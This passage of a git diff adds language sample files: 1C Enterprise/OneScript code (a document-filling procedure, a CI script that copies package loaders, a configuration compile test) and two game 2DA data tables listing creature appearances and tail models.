+		ЗапросПоКонтрагенту = Новый Запрос("ВЫБРАТЬ
+		                                   |	Контрагенты.ЭтоГруппа,
+		                                   |	Контрагенты.ВидЦен
+		                                   |ИЗ
+		                                   |	Справочник.Контрагенты КАК Контрагенты
+		                                   |ГДЕ
+		                                   |	Контрагенты.Ссылка = &КонтрагентСсылка");
+		ЗапросПоКонтрагенту.УстановитьПараметр("КонтрагентСсылка", ДанныеЗаполнения);
+		Выборка = ЗапросПоКонтрагенту.Выполнить().Выбрать();
+		Если Выборка.Следующий() И Выборка.ЭтоГруппа Тогда
+			Возврат;
+		КонецЕсли;
+		
+		ВидЦен     = Выборка.ВидЦен;
+		Покупатель = ДанныеЗаполнения.Ссылка;
+
+	ИначеЕсли ТипЗнч(ДанныеЗаполнения) = Тип("Структура") Тогда
+
+		Значение = Неопределено;
+
+		Если ДанныеЗаполнения.Свойство("Покупатель", Значение) Тогда
+			ВидЦен = Значение.ВидЦен;
+		КонецЕсли;
+
+	КонецЕсли;
+
+КонецПроцедуры
+
diff --git a/samples/1C Enterprise/ci_before_script.os b/samples/1C Enterprise/ci_before_script.os
new file mode 100644
index 0000000000..baeaa47586
--- /dev/null
+++ b/samples/1C Enterprise/ci_before_script.os	
@@ -0,0 +1,20 @@
+Каталог = ОбъединитьПути(ТекущийКаталог(), "libs\oscript-library\src");
+Загрузчик_Оригинал_ИмяФайла = ОбъединитьПути(Каталог, "package-loader.os");
+
+Файлы = НайтиФайлы(Каталог, , Ложь);
+Для Каждого ВыбФайл Из Файлы Цикл
+
+    Если ВыбФайл.ЭтоФайл() Тогда
+        Продолжить;
+    КонецЕсли;
+
+    Загрузчик_ИмяФайла = ОбъединитьПути(ВыбФайл.ПолноеИмя, "package-loader.os");
+    Загрузчик_Файл = Новый Файл(Загрузчик_ИмяФайла);
+
+    Если Загрузчик_Файл.Существует() Тогда
+        Продолжить;
+    КонецЕсли;
+
+    КопироватьФайл(Загрузчик_Оригинал_ИмяФайла, Загрузчик_ИмяФайла);
+
+КонецЦикла;
\ No newline at end of file
diff --git a/samples/1C Enterprise/test_canCompile.os b/samples/1C Enterprise/test_canCompile.os
new file mode 100644
index 0000000000..2e94978512
--- /dev/null
+++ b/samples/1C Enterprise/test_canCompile.os	
@@ -0,0 +1,42 @@
+#Использовать "../libs/oscript-library/src/v8runner"
+#Использовать "../libs/oscript-library/src/tempfiles"
+
+Перем Лог;
+Перем КодВозврата;
+
+Процедура Инициализация()
+
+	Лог = Логирование.ПолучитьЛог("oscript.app.gitlab-test_CanCompile");
+	КодВозврата = 0;
+
+КонецПроцедуры
+
+Процедура ВыполнитьТест()
+
+	Конфигуратор = Новый УправлениеКонфигуратором();
+
+	ПараметрыЗапуска = Конфигуратор.ПолучитьПараметрыЗапуска();
+	КомандаЗапуска = "/LoadConfigFromFiles ""%1""";
+	КомандаЗапуска = СтрШаблон(КомандаЗапуска, ТекущийКаталог() + "\source\cf");
+
+	Лог.Информация("Команда обновления конфигурации: " + КомандаЗапуска);
+
+	ПараметрыЗапуска.Добавить(КомандаЗапуска);
+
+	Попытка
+	    Конфигуратор.ВыполнитьКоманду(ПараметрыЗапуска);
+	Исключение
+
+	    Лог.Ошибка(Конфигуратор.ВыводКоманды());
+	    КодВозврата = 1;
+
+	КонецПопытки;
+
+	УдалитьФайлы(Конфигуратор.ПутьКВременнойБазе());
+
+КонецПроцедуры
+
+Инициализация();
+ВыполнитьТест();
+
+ЗавершитьРаботу(КодВозврата);
\ No newline at end of file
diff --git a/samples/2-Dimensional Array/appearance.2da b/samples/2-Dimensional Array/appearance.2da
new file mode 100644
index 0000000000..637c4aaa8d
--- /dev/null
+++ b/samples/2-Dimensional Array/appearance.2da	
@@ -0,0 +1,100 @@
+2DA V2.0
+
+           LABEL                                                      STRING_REF NAME                      RACE             ENVMAP         BLOODCOLR MODELTYPE WEAPONSCALE WING_TAIL_SCALE HELMET_SCALE_M HELMET_SCALE_F MOVERATE WALKDIST RUNDIST PERSPACE CREPERSPACE HEIGHT HITDIST PREFATCKDIST TARGETHEIGHT ABORTONPARRY RACIALTYPE HASLEGS HASARMS PORTRAIT       SIZECATEGORY PERCEPTIONDIST FOOTSTEPTYPE SOUNDAPPTYPE HEADTRACK HEAD_ARC_H HEAD_ARC_V HEAD_NAME       BODY_BAG TARGETABLE 
+0          "(Dynamic Dwarf)"                                          ****       Character_model           D                default        R         P         1           1               1.15           0.95           NORM     1.06     2.12    0.3      0.5         1.5    0.3     1.4          H            1            6          1       1       ****           3            9              0            0            1         60         30         head_g          6        1          
+1          "(Dynamic Elf)"                                            ****       Character_model           E                default        R         P         1           1               0.85           0.8            NORM     1.43     2.86    0.3      0.4         1.75   0.3     1.5          H            1            7          1       1       ****           3            9              0            0            1         60         30         head_g          6        1          
+2          "(Dynamic Gnome)"                                          ****       Character_model           G                default        R         P         1           1               0.9            0.82           NORM     1        1.94    0.3      0.4         1.5    0.3     1.3          H            1            8          1       1       ****           2            9              0            0            1         60         30         head_g          6        1          
+3          "(Dynamic Halfing)"                                        ****       Character_model           A                default        R         P         0.8         1               0.7            0.65           NORM     1.04     2.08    0.25     0.3         1.5    0.25    1.1          H            1            10         1       1       ****           2            9              0            0            1         60         30         head_g          6        1          
+4          "(Dynamic Half-Elf)"                                       ****       Character_model           H                default        R         P         1           1               1              0.9            NORM     1.6      3.2     0.3      0.5         2      0.3     1.7          H            1            7          1       1       ****           3            9              0            0            1         60         30         head_g          6        1          
+5          "(Dynamic Half-Orc)"                                       ****       Character_model           O                default        R         P         1.3         1               1.2            1.2            NORM     1.6      3.2     0.3      0.7         2.25   0.3     2.1          H            1            13         1       1       ****           3            9              0            0            1         60         30         head_g          6        1          
+6          "(Dynamic Human)"                                          ****       Character_model           H                default        R         P         1           1               1.05           0.85           NORM     1.6      3.2     0.3      0.5         2      0.3     1.7          H            1            11         1       1       ****           3            9              0            0            1         60         30         head_g          6        1          
+7          "Bird: Parrot"                                             ****       Parrot                    c_a_parrot       ****           R         S         ****        1               1              1              FAST     1        3.5     0.13     0.13        0.3    0.13    1.8          L            0            2          1       1       po_poly        1            9              -1           5            0         60         30         Parrot_head     0        1          
+8          Badger                                                     ****       BASE                      c_badger         ****           R         S         ****        1               1              1              FAST     0.77     1.2     0.3      0.3         1      0.3     2            L            0            2          1       1       po_Badger      1            9              3            2            1         60         30         Badger_head     0        1          
+9          "Badger: Dire"                                             ****       Badger                    c_direbadg       ****           R         S         ****        1               1              1              FAST     1        1.42    0.5      0.5         1      0.5     2.6          L            0            2          1       1       po_DireBadger  2            9              3            2            1         60         30         Badger_head     0        1          
+10         Bat                                                        ****       BASE                      c_a_bat          ****           R         S         ****        1               1              1              VFAST    2.75     5.5     0.2      0.2         1      0.2     1.7          H            1            2          1       1       po_Bat         1            9              9            5            1         60         30         Bat_head        0        1          
+11         "Horror: Battle"                                           ****       Battle_Horror             c_bathorror      ****           W         F         1.3         1               1              1              VFAST    2.75     5.5     0.3      0.9         1      0.3     2.1          H            1            4          0       1       po_BatHorror   3            9              -1           25           1         60         30         head_g          0        1          
+12         "Bear: Black"                                              ****       Bear                      c_bearblck       ****           R         S         ****        1               1              1              FAST     1.23     1.63    0.6      1.2         1      1.2     1.9          H            1            2          1       1       po_BearBlck    3            9              3            2            1         60         30         Bear_head       0        1          
+13         "Bear: Brown"                                              ****       BASE                      c_bearbrwn       ****           R         S         ****        1               1              1              FAST     1.23     1.63    0.6      1.2         1      1.2     1.9          H            1            2          1       1       po_BearBrwn    4            9              3            2            1         60         30         Bear_head       0        1          
+14         "Bear: Polar"                                              ****       Bear                      c_bearpolar      ****           R         S         ****        1               1              1              FAST     1.46     1.94    0.6      1.5         1      1.5     2.2          H            1            2          1       1       po_BearPolar   4            9              3            2            1         60         30         Bear_head       0        1          
+15         "Bear: Dire"                                               ****       Bear                      c_beardire       ****           R         S         ****        1               1              1              FAST     1.75     2.33    0.6      1.5         1      1.5     2.7          H            1            2          1       1       po_BearDire    4            9              3            2            1         60         30         Bear_head       0        1          
+16         "Curst Swordsman"                                          ****       Curst_Swordsman           c_curst          ****           R         S         1           1               1.05           0.85           NORM     1.6      2.7     0.3      0.5         1      0.3     1.7          H            1            11         1       1       po_vampire_m   3            9              3            0            1         60         30         head_g          6        1          
+17         "Beetle: Slicer: Medium"                                   ****       Beetle                    c_btlslicer      ****           G         S         ****        1               1              1              NORM     0.7      3.6     0.6      1           1      1       2.3          H            0            24         1       1       po_Btlslicer   3            9              6            6            1         60         30         Beetle_head     0        1          
+18         "Beetle: Fire: Medium"                                     ****       Beetle                    c_btlfire        ****           G         S         ****        1               1              1              NORM     0.7      3.6     0.6      0.9         1      0.9     2.2          H            0            24         1       1       po_BtlFire     3            9              6            6            1         60         30         Beetle_head     0        1          
+19         "Beetle: Stag: Medium"                                     ****       BASE                      c_btlstag        evmap_irrid    G         S         ****        1               1              1              NORM     0.7      3.6     0.6      1           1      1       2.3          H            0            24         1       1       po_BtlStag     3            9              6            6            1         60         30         Beetle_head     0        1          
+20         "Beetle: Stink: Medium"                                    ****       Beetle                    c_btlstink       ****           G         S         ****        1               1              1              NORM     0.7      3.6     0.6      1           1      1       2.3          H            0            24         1       1       po_BtlStink    3            9              6            6            1         60         30         Beetle_head     0        1          
+21         "Swine: Boar"                                              ****       BASE                      c_boar           ****           R         S         ****        1               1              1              FAST     0.9      2.1     0.4      0.4         1      0.4     1.5          L            0            2          1       1       po_Boar        3            9              0            2            1         60         30         Wildboar_head   0        1          
+22         "Swine: Boar: Dire"                                        ****       Boar                      qc_direhog       ****           R         S         ****        1               1              1              FAST     1.46     2.1     0.6      0.6         1      0.6     2.2          L            0            2          1       1       po_DireBoar    3            9              0            2            1         60         30         Wildboar_head   0        1          
+23         Bodak                                                      ****       Bodak_(CM)                c_bodak          ****           R         F         1           1               1              1              FAST     1.81     2.7     0.3      0.5         1      0.3     1.8          H            1            23         1       1       po_Bodak       3            9              0            0            1         60         30         head_g          0        1          
+24         "Golem: Bone"                                              ****       Golem_Bone_(CM)           c_golbone        default        W         S         ****        1               1              1              SLOW     2        3.2     0.4      1.4         1      0.4     2.7          H            1            4          1       1       po_GolBone     4            9              0            4            0         60         30         Ettin_Largehead 5        1          
+25         "Bugbear: Chieftain 1"                                     ****       Bugbear                   c_bugchiefA      default        R         F         1.55        1               1              1              NORM     1.81     2.33    0.3      0.8         1      0.3     2.2          H            1            9          1       1       po_BugChiefA   3            9              0            0            1         60         30         head_g          0        1          
+26         "Bugbear: Chieftain 2"                                     ****       Bugbear                   c_bugchiefB      default        R         F         1.55        1               1              1              NORM     1.81     2.33    0.3      0.8         1      0.3     2.2          H            1            9          1       1       po_BugChiefB   3            9              0            0            1         60         30         head_g          0        1          
+27         "Bugbear: Shaman 1"                                        ****       Bugbear                   c_bugwizA        default        R         F         1.55        1               1              1              NORM     1.81     2.33    0.3      0.8         1      0.3     2.2          H            1            9          1       1       po_BugWizA     3            9              0            0            1         60         30         head_g          0        1          
+28         "Bugbear: Shaman 2"                                        ****       Bugbear                   c_bugwizB        default        R         F         1.55        1               1              1              NORM     1.81     2.33    0.3      0.8         1      0.3     2.2          H            1            9          1       1       po_BugWizB     3            9              0            0            1         60         30         head_g          0        1          
+29         "Bugbear 01"                                               ****       BASE                      c_bugbearA       default        R         F         1.55        1               1              1              NORM     1.81     2.33    0.3      0.8         1      0.3     2.2          H            1            9          1       1       po_BugbearA    3            9              0            0            1         60         30         head_g          0        1          
+30         "Bugbear 02"                                               ****       Bugbear                   c_bugbearB       default        R         F         1.55        1               1              1              NORM     1.81     2.33    0.3      0.8         1      0.3     2.2          H            1            9          1       1       po_BugbearB    3            9              0            0            1         60         30         head_g          0        1          
+31         "Bird: Chicken"                                            ****       Chicken                   c_a_chicken      ****           R         S         ****        1               1              1              FAST     1        3.5     0.13     0.13        0.3    0.13    1.8          L            0            2          1       1       po_Chicken     1            9              -1           5            0         60         30         Chicken_head    0        1          
+32         "Satyr: Archer"                                            ****       Satyr_archer              c_satyrarcher    default        R         F         1.3         1               1              1              NORM     2.7      3.5     0.3      0.7         1      0.3     1.8          H            1            14         1       1       po_Satyr       3            9              4            0            1         60         30         head_g          6        1          
+33         "Satyr: Warrior"                                           ****       Satyr_warrior             c_satyrwarrior   default        R         F         1.3         1               1              1              NORM     2.7      3.5     0.3      0.7         1      0.3     1.8          H            1            14         1       1       po_Satyr       3            9              4            0            1         60         30         head_g          6        1          
+34         "Cattle: Cow 1"                                            ****       Cow                       c_a_cow          ****           R         S         ****        1               1              1              SLOW     1.52     1.92    0.6      1.3         1      1.3     2.9          H            1            2          1       1       po_Cow         3            9              4            2            0         60         30         Ox_head         0        1          
+35         "Deer: Stag"                                               ****       Deer_Stag                 c_a_deer         ****           R         S         ****        1               1              1              FAST     1.82     2.4     0.6      0.9         1      0.9     2.6          H            0            2          1       1       po_Deer        3            9              4            2            1         60         30         Deer_head       0        1          
+36         "Intellect Devourer: Skeletal"                             ****       Intellect_Devourer        c_devo_02        default        W         S         ****        1               1              1              NORM     1.02     3.6     0.4      0.4         1      0.4     1.9          L            0            1          1       1       po_devo_02     2            9              3            2            1         60         30         indev_head      5        1          
+37         "Deer: Stag: White"                                        ****       Deer_Stag                 c_a_deerwhite    ****           R         S         ****        1               1              1              FAST     1.82     2.4     0.6      0.9         1      0.9     2.7          H            0            2          1       1       po_DeerWhite   3            9              4            2            1         60         30         Deer_head       0        1          
+38         "Demon: Balor"                                             ****       Demon                     c_demon          default        R         L         2.3         1               1              1              FAST     3.2      5.1     0.6      2           1      1.5     2.4          H            1            19         1       1       po_Demon       4            9              5            1            0         60         30         ****            3        1          
+39         Lich                                                       ****       Lich                      c_Lich           ****           W         F         1           1               1              1              NORM     1.6      2.7     0.3      0.5         1      0.3     1.7          H            1            23         1       1       po_Lich        3            9              0            0            1         60         30         head_g          3        1          
+40         "Doom Knight"                                              ****       Doom_Knight               c_doomkght       default        G         F         1           1               1              1              NORM     1.65     2.78    0.3      0.7         1      0.3     2.1          H            1            23         1       1       po_DoomKght    3            9              0            0            1         60         30         head_g          5        1          
+41         "Dragon Chr: Black"                                        ****       Dragon_Black              c_DrgBlack       ****           G         S         ****        1               1              1              FAST     3.33     6       1.1      2           1      1.1     3.3          H            1            5          1       1       po_DrgBlack    5            10             2            22           0         60         30         Dragon_head     3        1          
+42         "Dragon Met: Brass"                                        ****       Dragon_Copper             c_DrgBrass       default        G         S         ****        1               1              1              FAST     3.33     6       1.1      2           1      1.1     3.2          H            1            5          1       1       po_DrgBrass    5            10             2            22           0         60         30         Dragon_head     3        1          
+43         "Dragon Met: Copper"                                       ****       BASE                      c_DrgCopp        default        G         S         ****        1               1              1              FAST     3.33     6       1        1.9         1      1       3.1          H            1            5          1       1       po_DrgCopp     5            10             2            22           0         60         30         Dragon_head     3        1          
+44         "Dragon Met: Silver"                                       ****       Dragon_Copper             c_DrgSilv        default        G         S         ****        1               1              1              FAST     3.33     6       1.1      2           1      1.1     3.3          H            1            5          1       1       po_DrgSilv     5            10             2            22           0         60         30         Dragon_head     3        1          
+45         "Dragon Met: Bronze"                                       ****       Dragon_Gold               c_DrgBrnz        default        G         S         ****        1               1              1              FAST     3.33     6       1.1      2           1      1.1     3.2          H            1            5          1       1       po_DrgBrnz     5            10             2            22           0         60         30         Dragon_head     3        1          
+46         "Dragon Met: Gold"                                         ****       Dragon_Gold               c_DrgGold        default        G         S         ****        1               1              1              FAST     2.88     5.2     1        1.9         1      1       3.1          H            1            5          1       1       po_DrgGold     5            10             2            22           0         60         30         Dragon_head     3        1          
+47         "Dragon Chr: Blue"                                         ****       Dragon_White              c_DrgBlue        ****           G         S         ****        1               1              1              FAST     3.33     6       1.1      2           1      1.1     3.2          H            1            5          1       1       po_DrgBlue     5            10             2            22           0         60         30         Dragon_head     3        1          
+48         "Dragon Chr: Green"                                        ****       Dragon_Green              c_DrgGreen       ****           G         S         ****        1               1              1              FAST     3.33     6       1.1      2           1      1.1     3.2          H            1            5          1       1       po_DrgGreen    5            10             2            22           0         60         30         Dragon_head     3        1          
+49         "Dragon Chr: Red"                                          ****       Dragon_Red                c_DrgRed         ****           G         S         ****        1               1              1              FAST     3.33     6       1.1      2           1      1.1     3.3          H            1            5          1       1       po_DrgRed      5            10             2            22           0         60         30         Dragon_head     3        1          
+50         "Dragon Chr: White"                                        ****       Dragon_Green              c_DrgWhite       ****           G         S         ****        1               1              1              FAST     3.33     6       1.1      2           1      1.1     3.1          H            1            5          1       1       po_DrgWhite    5            10             2            22           0         60         30         Dragon_head     3        1          
+51         "Fey: Dryad"                                               ****       Dryad_(CM)                c_dryad          ****           R         F         1           1               1              1              NORM     1.6      2.7     0.25     0.4         1      0.25    1.5          H            1            16         1       1       po_Dryad       3            9              0            0            1         60         30         head_g          6        1          
+52         "Elemental Base: Air"                                      ****       Elemental_Air             c_air            ****           N         S         ****        1               1              1              VFAST    2.75     5.5     0.25     0.5         1      0.25    1.9          H            1            15         1       1       po_Air         3            9              0            20           1         60         30         head_g          3        1          
+53         "Elemental Base: Air: Elder"                               ****       Elemental_Air             c_aireld         ****           N         S         ****        1               1              1              VFAST    2.75     5.5     0.3      0.6         1      0.3     1.9          H            1            15         1       1       po_AirElder    5            9              0            20           1         60         30         head_g          3        1          
+54         "Intellect Devourer: War"                                  ****       Intellect_Devourer        c_devo_01        ****           R         S         ****        1               1              1              NORM     1.02     3.6     0.4      0.4         1      0.4     1.9          L            0            1          1       1       po_devo_01     2            9              3            2            1         60         30         indev_head      3        1          
+55         "Fey: Pixie: Green"                                        ****       Fairy                     c_Fairy          ****           R         S         ****        1               1              1              VFAST    2.75     4       0.1      0.1         1      0.1     1.7          H            1            2          1       1       po_pixie       2            9              -1           23           0         60         30         fairy_head      6        1          
+56         "Elemental Base: Earth"                                    ****       Elemental_Earth           c_earth          ****           N         S         ****        1               1              1              SLOW     1.82     2.5     0.7      1.7         1      0.7     2.6          H            1            15         1       1       po_Earth       4            9              1            18           1         60         30         stone__head     3        1          
+57         "Elemental Base: Earth: Elder"                             ****       Elemental_Earth           c_eartheld       ****           N         S         ****        1               1              1              SLOW     1.82     2.5     0.7      1.7         1      0.7     2.6          H            1            15         1       1       po_Earth_eld   4            9              1            18           1         60         30         stone__head     3        1          
+58         "Mummy: Common"                                            ****       Mummy                     c_mum_com        ****           W         F         1           1               1              1              VSLOW    1.25     1.75    0.3      0.5         1      0.3     1.8          H            1            23         1       1       po_mum_com01   3            9              3            13           1         60         30         head_g          5        1          
+59         "Mummy: Warrior 2"                                         ****       Mummy                     c_mum_fight02    ****           W         F         1           1               1              1              VSLOW    1.25     1.75    0.3      0.5         1      0.3     1.8          H            1            23         1       1       po_mum_war02   3            9              3            13           1         60         30         head_g          5        1          
+60         "Elemental Base: Fire"                                     ****       Elemental_Fire            c_fire           ****           N         S         ****        1               1              1              NORM     1.32     3.5     0.5      0.7         1      0.5     1.9          H            1            15         1       1       po_Fire        3            9              0            19           1         60         30         FiEl_Head       3        1          
+61         "Elemental Base: Fire: Elder"                              ****       Elemental_Fire            c_fireeld        ****           N         S         ****        1               1              1              NORM     1.58     4.16    0.6      0.8         1      0.6     2.4          H            1            15         1       1       po_Fire_eld    3            9              0            19           1         60         30         FiEl_Head       3        1          
+62         "Skeleton: Priest"                                         ****       Skeleton                  c_skel_priest01  ****           W         F         1           1               1              1              NORM     1.6      2.7     0.2      0.4         1      0.2     1.8          H            1            23         1       1       po_sk_pre01    3            9              8            13           1         60         30         head_g          5        1          
+63         "Skeleton: Common"                                         ****       Skeleton                  c_skel_com01     ****           W         F         1           1               1              1              NORM     1.6      2.7     0.2      0.4         1      0.2     1.8          H            1            23         1       1       po_sk_com01    3            9              8            13           1         60         30         head_g          5        1          
+64         "Invisible Stalker"                                        ****       Elemental_Mist            c_invstalk       ****           R         F         ****        1               1              1              NORM     1.6      2.7     0.2      0.6         1      0.2     2.2          H            1            15         1       1       po_InvStalk    4            9              3            1            1         60         30         head_g          0        1          
+65         Sahuagin                                                   ****       Sahuagin                  c_sahuagin       default        G         F         1           1               1              1              NORM     1.6      2.7     0.3      0.5         1      0.3     1.7          H            1            2          1       1       po_Sahuagin    3            9              0            0            1         60         30         head_g          0        1          
+66         "Sahuagin Leader"                                          ****       Sahuagin_Leader           c_sahuagin_l     default        G         F         1           1               1              1              NORM     1.6      2.7     0.3      0.5         1      0.3     1.7          H            1            2          1       1       po_Sahuagin    3            9              0            0            1         60         30         head_g          0        1          
+67         "Sahuagin Cleric"                                          ****       Sahuagin_Cleric           c_sahuagin_c     default        G         F         1           1               1              1              NORM     1.6      2.7     0.3      0.5         1      0.3     1.7          H            1            2          1       1       po_Sahuagin    3            9              0            0            1         60         30         head_g          0        1          
+68         "Elemental Base: Water: Elder"                             ****       Elemental_Water           c_waterEld       ****           N         S         ****        1               1              1              SLOW     1.25     2       0.2      0.6         1      0.2     1.9          H            0            15         1       1       po_Water_eld   3            9              0            21           1         60         30         Welemental_head 3        1          
+69         "Elemental Base: Water"                                    ****       Elemental_Water           c_water          ****           N         S         ****        1               1              1              SLOW     1.25     2       0.2      0.5         1      0.2     1.8          H            0            15         1       1       po_Water       3            9              0            21           1         60         30         Welemental_head 3        1          
+70         "Skeleton: Warrior 1"                                      ****       Skeleton                  c_skel_war02     ****           W         F         1           1               1              1              NORM     1.6      2.7     0.3      0.5         1      0.3     1.8          H            1            23         1       1       po_sk_war01    3            9              8            13           1         60         30         head_g          5        1          
+71         "Skeleton: Warrior 2"                                      ****       Skeleton                  c_skel_war03     ****           W         F         1           1               1              1              NORM     1.6      2.7     0.3      0.5         1      0.3     1.8          H            1            23         1       1       po_sk_war02    3            9              8            13           1         60         30         head_g          5        1          
+72         Ettin                                                      ****       Ettin                     c_ettin          ****           R         L         2.1         1               1              1              FAST     2.66     6       0.5      1.5         1      0.5     2.2          H            1            17         1       1       po_Ettin       4            9              1            3            0         60         30         Ettin_Largehead 0        1          
+73         Gargoyle                                                   ****       Gargoyle                  c_gargoyle       ****           G         S         ****        1               1              1              FAST     2.7      2.7     0.6      1.6         1      0.6     2.1          H            1            18         1       1       po_Gargoyle    3            9              0            2            1         60         30         Gargoyle_head   3        1          
+74         Ghast                                                      ****       Ghast                     c_Ghast          ****           Y         F         1           1               1              1              NORM     1.6      2.7     0.2      0.4         1      0.2     1.8          H            1            23         1       1       po_Ghast       3            9              0            0            1         60         30         head_g          5        1          
+75         "Ogre: Elite"                                              ****       Ogre_elite                c_Ogre35         ****           R         L         1.8         1               1              1              NORM     3.5      3.5     0.6      1.5         1      0.4     2.2          H            1            17         1       1       po_Ogre35      4            9              1            1            1         45         5          Ogre_head       0        1          
+76         Ghoul                                                      ****       Ghoul                     c_ghoul          ****           Y         F         1           1               1              1              NORM     1.6      2.7     0.2      0.4         1      0.2     1.8          H            1            23         1       1       po_Ghoul       3            9              0            0            1         60         30         head_g          5        1          
+77         "Ghoul Lord"                                               ****       Ghoul_Lord                c_GhoulLord      ****           Y         F         1           1               1              1              NORM     1.6      2.7     0.2      0.4         1      0.2     1.8          H            1            23         1       1       po_GhoulLord   3            9              0            0            1         60         30         head_g          5        1          
+78         "Giant: Hill 1"                                            ****       Giant_Common              c_gnthill        ****           R         L         2.4         1               1              1              FAST     2.43     4.95    0.7      1.5         1      0.7     1.8          H            1            17         1       1       po_GntHill     4            9              1            3            1         60         30         gnthill_head_g  0        1          
+79         "Giant: Mountain 1"                                        ****       Giant_Common              c_gntmount       ****           R         L         2.4         1               1              1              FAST     2.43     4.95    0.7      1.5         1      0.7     1.8          H            1            17         1       1       po_GntMount    4            9              1            3            1         60         30         gnthill_head_g  0        1          
+80         "Giant: Fire: Male 1"                                      ****       Giant_Noble               c_gntfire        default        R         L         2.5         1               1              1              FAST     3.28     4.5     0.7      1.5         1      0.7     2            H            1            17         1       1       po_GntFire     5            10             1            1            1         60         30         frostgiant_head 3        1          
+81         "Giant: Frost: Male 1"                                     ****       Giant_Noble               c_gntfrost       default        R         L         2.5         1               1              1              FAST     3.28     4.5     0.7      1.5         5      0.7     2            H            1            17         1       1       po_GntFrost    5            10             1            1            1         60         30         frostgiant_head 3        1          
+82         "Goblin: Chieftain A"                                      ****       Goblin                    c_gobchiefA      ****           R         F         0.8         1               1              1              NORM     1        2       0.3      0.4         1      0.3     1.2          H            1            9          1       1       po_GobChiefA   2            9              0            0            1         60         30         head_g          0        1          
+83         "Goblin: Chieftain B"                                      ****       Goblin                    c_gobchiefB      ****           R         F         0.8         1               1              1              NORM     1        2       0.3      0.4         1      0.3     1.2          H            1            9          1       1       po_GobChiefB   2            9              0            0            1         60         30         head_g          0        1          
+84         "Goblin: Shaman A"                                         ****       Goblin                    c_gobwizA        ****           R         F         0.8         1               1              1              NORM     1        2       0.3      0.4         1      0.3     1.2          H            1            9          1       1       po_GobWizA     2            9              0            0            1         60         30         head_g          0        1          
+85         "Goblin: Shaman B"                                         ****       Goblin                    c_gobwizB        ****           R         F         0.8         1               1              1              NORM     1        2       0.3      0.4         1      0.3     1.2          H            1            9          1       1       po_GobWizB     2            9              0            0            1         60         30         head_g          0        1          
+86         "Goblin A"                                                 ****       Goblin                    c_goblinA        ****           R         F         0.8         1               1              1              NORM     1        2       0.3      0.4         1      0.3     1.2          H            1            9          1       1       po_GoblinA     2            9              0            0            1         60         30         head_g          0        1          
+87         "Goblin B"                                                 ****       Goblin                    c_goblinB        ****           R         F         0.8         1               1              1              NORM     1        2       0.3      0.4         1      0.3     1.2          H            1            9          1       1       po_GoblinB     2            9              0            0            1         60         30         head_g          0        1          
+88         "Golem: Flesh"                                             ****       Golem_Flesh               c_golflesh       ****           R         S         ****        1               1              1              NORM     2.33     3.2     0.3      0.5         1      0.3     1.9          H            1            4          1       1       po_GolFlesh    4            9              0            2            1         60         30         GolFlesh_head   5        1          
+89         "Golem: Iron"                                              ****       Golem_Iron                c_goliron        ****           W         L         2.1         1               1              1              SLOW     2.58     3.66    0.6      1.6         1      1       1.9          H            1            4          1       1       po_GolIron     4            9              1            9            1         60         30         IroGolem_head   3        1          
+90         "Shield Guardian"                                          ****       Golem_Iron                c_shguard        ****           W         S         2.1         1               1              1              SLOW     2.58     3.66    0.6      1.5         1      0.9     2            H            1            4          1       1       po_ShGuard     4            9              1            11           1         60         30         IroGolem_head   3        1          
+91         "Golem: Clay 1"                                            ****       Golem_Stone               c_GolClay        ****           W         S         ****        1               1              1              SLOW     1.82     2.25    0.6      1.8         1      0.8     2.7          H            1            4          1       1       po_GolClay     4            9              1            11           1         60         30         stone__head     3        1          
+92         "Golem: Stone"                                             ****       Golem_Stone               c_GolStone       ****           W         S         ****        1               1              1              SLOW     1.82     2.25    0.6      1.8         1      0.8     2.7          H            1            4          1       1       po_GolStone    4            9              1            11           1         60         30         stone__head     3        1          
+93         "Cat: Leopard"                                             ****       Great_Cat                 c_cat_lep        ****           R         S         ****        1               1              1              FAST     2.45     2.25    0.6      1           1      1       2.3          L            0            2          1       1       po_Leopard     3            9              3            2            1         60         30         Cat_head        0        1          
+94         "Cat: Crag Cat"                                            ****       Great_Cat                 c_cat_crag       ****           R         S         ****        1               1              1              FAST     3.06     2.81    0.6      1.3         1      1.3     3            L            0            2          1       1       po_cat_crag    3            9              3            2            1         60         30         Cat_head        0        1          
+95         "Cat: Tiger: Dire"                                         ****       Great_Cat                 c_cat_dire       ****           R         S         ****        1               1              1              FAST     2.1      3.75    0.6      1.4         1      1.4     2.7          H            0            2          1       1       po_DireTiger   3            9              3            2            1         60         30         Cat_head        0        1          
+96         "Cat: Krenshar"                                            ****       Great_Cat                 c_cat_kren       ****           R         S         ****        1               1              1              FAST     2.45     2.25    0.6      1.1         1      1.1     2.4          L            0            2          1       1       po_Krenshar    3            9              3            2            1         60         30         Cat_head        0        1          
diff --git a/samples/2-Dimensional Array/tailmodel.2da b/samples/2-Dimensional Array/tailmodel.2da
new file mode 100644
index 0000000000..22e644f54d
--- /dev/null
+++ b/samples/2-Dimensional Array/tailmodel.2da	
@@ -0,0 +1,100 @@
+2DA V2.0
+
+    LABEL                                          MODEL            ENVMAP         
+0   None                                           ****             ****           
+1   Lizard                                         c_tailliz        default        
+2   Bone                                           c_tailbone       ****           
+3   Devil                                          c_taildevil      default        
+4   "Dragon, Brass"                                c_tail_brs       default        
+5   "Dragon, Bronze"                               c_tail_brz       default        
+6   "Dragon, Copper"                               c_tail_cop       default        
+7   "Dragon, Silver"                               c_tail_sil       default        
+8   "Dragon, Gold"                                 c_tail_gol       default        
+9   "Dragon, Black"                                c_tail_blk       ****           
+10  "Dragon, Blue"                                 c_tail_blu       ****           
+11  "Dragon, Green"                                c_tail_grn       ****           
+12  "Dragon, Red"                                  c_tail_red       ****           
+13  "Dragon, White"                                c_tail_whi       ****           
+14  NullTail                                       c_nulltail       default        
+15  "Horse, Walnut"                                c_horse1         default        
+16  "Horse, Walnut, saddle"                        c_horse1a        default        
+17  "Horse, Walnut, saddle, packs"                 c_horse1b        default        
+18  "Horse, Walnut, leather barding"               c_horse1c1       default        
+19  "Horse, Walnut, scale mail barding"            c_horse1c2       default        
+20  "Horse, Walnut, chain barding"                 c_horse1c3       default        
+21  "Horse, Walnut, purple barding"                c_horse1c4       default        
+22  "Horse, Walnut, red barding"                   c_horse1c5       default        
+23  "Horse, Walnut, leather barding, packs"        c_horse1d1       default        
+24  "Horse, Walnut, scale mail barding, packs"     c_horse1d2       default        
+25  "Horse, Walnut, chain barding, packs"          c_horse1d3       default        
+26  "Horse, Walnut, purple barding, packs"         c_horse1d4       default        
+27  "Horse, Walnut, red barding, packs"            c_horse1d5       default        
+28  "Horse, Gunpowder"                             c_horse2         default        
+29  "Horse, Gunpowder, saddle"                     c_horse2a        default        
+30  "Horse, Gunpowder, saddle, packs"              c_horse2b        default        
